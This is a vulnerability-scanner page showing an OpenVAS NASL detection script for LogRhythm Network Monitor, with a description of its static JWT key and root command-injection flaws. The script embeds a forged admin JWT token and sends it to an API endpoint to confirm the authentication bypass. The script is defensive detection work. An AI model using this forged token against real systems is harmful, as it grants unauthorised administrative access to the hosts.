Lucene search
+L

Logrhythm Network Monitor Multiple Vulnerabilities

🗓️ 28 Apr 2017 00:00:00Reported by Copyright (C) 2017 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 25 Views

Logrhythm Network Monitor Multiple Vulnerabilitie

Refs
Code
# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:logrhythm:network_monitor";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.106798");
  script_version("2025-03-20T05:38:32+0000");
  script_tag(name:"last_modification", value:"2025-03-20 05:38:32 +0000 (Thu, 20 Mar 2025)");
  script_tag(name:"creation_date", value:"2017-04-28 15:23:53 +0200 (Fri, 28 Apr 2017)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Logrhythm Network Monitor Multiple Vulnerabilities");

  script_category(ACT_GATHER_INFO);

  script_copyright("Copyright (C) 2017 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_logrhythm_netmon_detect.nasl");
  script_mandatory_keys("logrhythm_netmon/installed");

  script_tag(name:"summary", value:"Logrhythm Network Monitor is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP request and checks the response.");

  script_tag(name:"insight", value:"Logrhythm Network Monitor is prone to multiple vulnerabilities:

  - The application web interface uses JSON Web Tokens (JWT) to authenticate users and manage user sessions.
  However, the secret key used to sign the JWT tokens is static across multiple deployments of the software. This
  vulnerability can be exploited to forge arbitrary JWT tokens and bypass authentication to the LogRhythm Network
  Monitor web management interface.

  - Multiple command injection vulnerabilities exist in the application web management interface due to unescaped
  user-input used to dynamically construct system shell commands. These vulnerabilities can be exploited to run
  arbitrary commands in the context of the root user and fully compromise the LogRhythm Network Monitor host.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.security-assessment.com/files/documents/advisory/Logrhythm-NetMonitor-Advisory.pdf");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
  exit(0);

# this token is generate with the example code in the advisory. Since NASL doesn't have HMAC SHA256 currently
# implemented the expire time is set to 2022 which should be enough for the average check.
token = 'eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0OTMzODU0MjAsImRhdGEiOnsidXNlcm5hbWUiOiJhZG1pbiIsInRpbWVUb1Jlc2V0UGFzcyI6ZmFsc2UsInJvbGUiOiJhZG1pbiIsImxpY2Vuc2VkIjp0cnVlfSwiZXhwIjoxNjUxMDY1NDIwfQ.oynktDKyLAE-NVy8nd9coUEF_E7XFCTXcukhZ1Rdo3bcSPnVCwvFQ-7UPFvjFGm5x8szX6A1hwJ-3EtE12ekuw';

req = http_get_req(port: port, url: "/api/systemInfo", add_headers: make_array("token", token));
res = http_keepalive_send_recv(port: port, data: req);

if ("licensedName" >< res && "versions" >< res) {
  report = "It was possible to access the system information with a forged token:\n\nRequest:\n";
  report += req + "\n";
  report += "Response:\n" + res;
  security_message(port: port, data: report);
  exit(0);
}

exit(0);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation